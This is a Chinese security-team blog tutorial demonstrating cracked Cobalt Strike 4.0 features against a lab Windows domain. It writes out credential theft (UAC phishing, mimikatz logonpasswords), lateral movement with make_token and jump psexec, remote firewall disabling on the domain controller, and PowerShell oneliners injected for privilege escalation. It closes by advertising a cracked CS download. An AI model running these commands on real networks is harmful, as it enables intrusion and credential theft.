本文由Gcow安全团队绝影小组小离师傅原创,属于教程类文章
全文字数2348字 图片63张 预计10分钟阅读完毕
文中有一个小推荐 请各位看官不要在意
我相信大家都被一条信息给炸了锅“cobaltstrike4.0破解版出来了”,这对于我们这些穷逼来说是一件好事,今天我就带大家看看cs4.0更新了啥
在这里先声明,cobaltstrike的本意是用于教育目的,并非提供给非法渗透
Kali ipv4:192.168.1.119
ipv6:出于隐私考虑,没写
靶场win2008 ipv4:192.168.1.162
10.10.10.80
ipv6:处于隐私考虑,没写
靶场DC Win2012 ipv4:10.10.10.10
本文只是演示cs4.0的新特性,并非真正渗透
图1 Stageless payload improved
可以看到,更新日志提到Web Delivery
攻击方式,在使用64
位的payload
的时候,使用的是stageless
攻击方式,而regsvr32
攻击方式同时被去掉了,因为不能注入完整的payload,同时,作者在视频中提到,在cs4.0
中将会大大使用stageless
,很少会使用stager
.
图2 Removed Windows-Dropper attack
其实就是把以前psexec
,wmi
等的整合到一个模块里,并且,当使用psexec_psh
进行横向的时候会使用stager
,其他方式均为stageless
图3 Added Jump command
图4 More inject was no powershell
svc-exe
其实就是在本地执行psexec
(作者吐槽)
图5 Svc-exe added in elevate kit
图6 Runasadmin also is elevate tool
图7:Remove ms14-058
图8:Remove uac-dll
http/https/dns
均支持一个payload
填写多个ip或者域名,相当于把多个相同payload的listener
整合到一起,并且支持填入C2
参数以及代理参数
图9:Https Beacon info
细心的同学可能发现,下面新的选项是用来干啥的,因为在cs4.0中,对C2攻击方式进行了优化,你可以在profile选择你在外部导入进去的c2 profile,然后修改HTTPS Port(bind)的端口为你C2 服务器的端口(我也不是很懂,如果有误的话,大佬们请指正,以免误人子弟)
图10 Dns Beacon info
图11 External C2 listener
首先,先新建一个listener,在这里,你可以填写你cs服务器的公网IPv4,内网IPv4,IPv6(IPv6要用中括号,例[240c::6666]),以及你CS服务器的域名,我在这里填入了我kali
的ipv4
和ipv6
图12 Create a listener by using Beacon https payload
这里的HTTPS Port (C2)就是上线端口
我这边直接生成了一个stageless
的木马(不熟悉的话可以去看啊离上一篇文章)
生成的木马丢上去靶机执行然后等一小会(顺带一提:不知道是不是出于某种原因,cs
直接生成的马,免杀并没有效果)
因为我靶机有ipv6
,所以beacon
的ip
也会显示ipv6
,同时,因为也有ipv4
,所以也会显示ipv4
(意思为使用不同的协议的ip
进行同时交互)
图13 Beacon in ipv6
图14 Beacon in ipv4
同时CS4.0
改了界面,可以显示当前的beacon进程,PID,系统位数
图15 Cobalt Strike 4.0 table view
正如我上面提到,CS4.0
版本已经移除了uac-dll
和ms14-058
提权方式,同时bypassuac
命令被移除
图16 Elevate module
为了做实验,我生成了一个名为Priv Esc
的listener
(payload:tcp beacon)(建议勾选Bind to localhost only)
为什么要勾选呢?作者的话:(反正就是勾选就对了)
图17 Author's words
图18 Create a listener for privilege escalation
会在主机弹出一个UAC
框去欺骗管理员输入密码,可能是因为域的原因,即使输入了也会提权失败,但是没关系,因为已经密码记录在内存中了,我们只需要本地提权并使用mimikatz
读取密码
【按照实际情况来说,其实输入本地管理员口令的更多,这里我为了演示,在UAC弹窗中输入了域管理员口令】
UAC框框
图19 UAC
failed,but the password was logged in memory
图20 Failed when users was domain user
svc-exe
这个参数,并不是和exp
提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe
进行提升(类似getsystem
命令,但是getsystem
不太好使)
使用例如下情况:
图21 A administrator privilege Beacon
svc-exe priv esc:
图22 Use Svc-exe to privilege escalation
图23 Connected to system privilege beacon
因为现在是域用户,又又又又只能用exp本地提权了,因为作者已经在cs4.0中删除了exp,但是你可以通过GitHub
去clone
作者的【Elevate Kit】项目,然后在cs
加载模块
cs作者的项目:https://github.com/rsmudge/ElevateKit
图24 Imported elevate kit for privilege escalation
图25 Runasadmin module
图26 net domain command
图27 net domain_controllers command
可以看到,计算机名为DC的就是域控,接下来可以鞭挞它了
exp提权,然后抓密码(此处密码为刚刚UAC钓到的域管理员明文密码)
图28 Logonpassword after privilege escalation
生成一个用于横向移动的listener,取名为LM,并使用SMB Beacon payload,可以看到,SMB Beacon支持自定义pipe name了
图29 SMB Beacon now support custom pipename
有点小伙伴要问了,为什么在旧版的cs中没有这个呢?其实,旧版cs中的pipe name是[status_端口号]
图30 Create a listener for Lateral Movement
如图,旧版cs的pipe name则为status_6001
jump
命令本质上就是把原来零散的psexec,psexec64,psexec_psh,winrm,winrm64整合到一个套件里(wmi已经移除)
How to use
图31 Help of jump command
Lateral Movement kits in jump command
图32 Lateral Movement tookit in jump command
老样子,调用刚刚抓到的域凭据
make_token de1ay.com\Administrator 1qaz@WSX
图33 Use make_token command to impersonal credential
使用jump
命令进行横向
jump psexec DC LM
图34 Use jump command lateral movement to DC
DC Beacon Online
图35 Connected to DC through smb beacon
可以选择以下三个套件进行远程命令执行
图36 Remote-exec module
remote-exec wmi DC netsh advfirewall set allprofiles state off (当然,和上面一样,也要先调用凭据)
图37 Use remote-exec to disable firewall on DC
补充:在CS
中,可以使用powershell-import
导入ps1
脚本,然后使用powerpick
去执行脚本的模块
图38 You can use powershell-import command to import module
其实可以使用系统自带的Invoke-Command
模块进行远程命令执行(当然,也需要调用凭据)
powerpick Invoke-Command -ComputerName DC -ScriptBlock { netsh advfirewall set allprofiles state off }
图39 Use Invoke-Command module to remote disable firewall on DC
oneliner
其实就是生成一段在目标beacon
本地运行的payload
,你可以用它在目标beacon中进行花样玩耍,配合的方式有很多种,如:runas,runu,runasadmin,psinject
在cs
中,只有当前用户名为administrator
的管理员用户,cs
才会自动提权,当用户名为别的管理员,cs
并不会自动提权,例如以下情况:
图40 Show current user groups
可以看到,xiaoli
这个用户是本地管理员,可是cs
没有帮我们提权
抓密码提示权限不足
图41 Privilege less when logonpasswords
so,we can do like this
在这里的话,是看beacon的arch生成oneliner,我当前的beacon是64位,所以x86和x64的payload都可以,x86 beacon只能执行x86的payload
(我当前的beacon是x86的)
图42 Generate powershell oneliner
图43 Generated Success!
runasadmin uac-wscript + oneliner
图44 Use runasadmin to privilege escalation
执行完它并不会自动连接,需要去手动连接
connect 127.0.0.1
图45 Connect to beacon
图46 Connected!
重新logonpassword
图47 Re logonpasswords
在这里的话,也是看beacon的arch生成oneliner,同上
runas DE1AY\Administrator 1qaz@WSX + oneliner 注:runas在system权限的beacon运行会失败
图48 Runas with oneliner
connect 127.0.0.1
图49 Connect to beacon
图50 Connected!
在这里的话,是看目标进程的arch生成oneliner,我的目标进程是64位,所以生成x64和x86的payload都可以,x86进程则只能生成x86 payload
runu 460 + oneliner 这边选择了一个pid为460的进程
图51 Runu command with oneliner
connect 127.0.0.1
图52 Connect to beacon
图53 Connected!
同时看到该beacon的父进程就是我们刚刚所指定的
图54 Created a child session base on PPID 460
在psinject这里,x64进程可以注入x86/x64的payload,x86进程只能注入x86
图55 Choose a process for target
psinject 2784 x64 + oneliner
图56 Inject powershell payload with psinject
connect 127.0.0.1
图57 Connect to beacon
connected
图58 Connected!
当然,还有更多的姿势等你来解锁~
link
支持指定pipe name
,connect
支持指定端口,unlink
支持指定pid
号,其目的是为了可以更好管理多个smb beacon listener
与tcp beacon listener
link ip pipe_name(图中因为没有111这个pipe name,连不上就报错了)
图60 Link to a beacon through assign pipename
connect ip port
图61 Connect to tcp beacon through assign port
unlink ip pid
图62 Unlink beacon through assign process
图63 cs二次元版作者大大
问答环节:
Q&A
问:为什么x64的beacon和session可以同时兼容x86和x64的payload?
答:CS特性,作者超级偏爱x86,link:https://blog.cobaltstrike.com/2016/03/10/cobalt-strike-3-2-the-inevitable-x64-beacon/
问:为什么作者强推Stageless?
答:因为stager不安全,更脆弱,容易被检测
文末惊喜!
两天过去了,我知道,大家都在等CS完美破解版 CS4.0去暗桩,windows teamserver支持,vnc修复,x64 payload修复,汉化支持 终极版本今天发布!!Gcow安全团队核心成员 J0o1ey’参考先知某牛和国外某牛的修复方法,目前已无x64 payload和暗桩问题
小声BB:后台回复cobaltstrike即可获取下载链接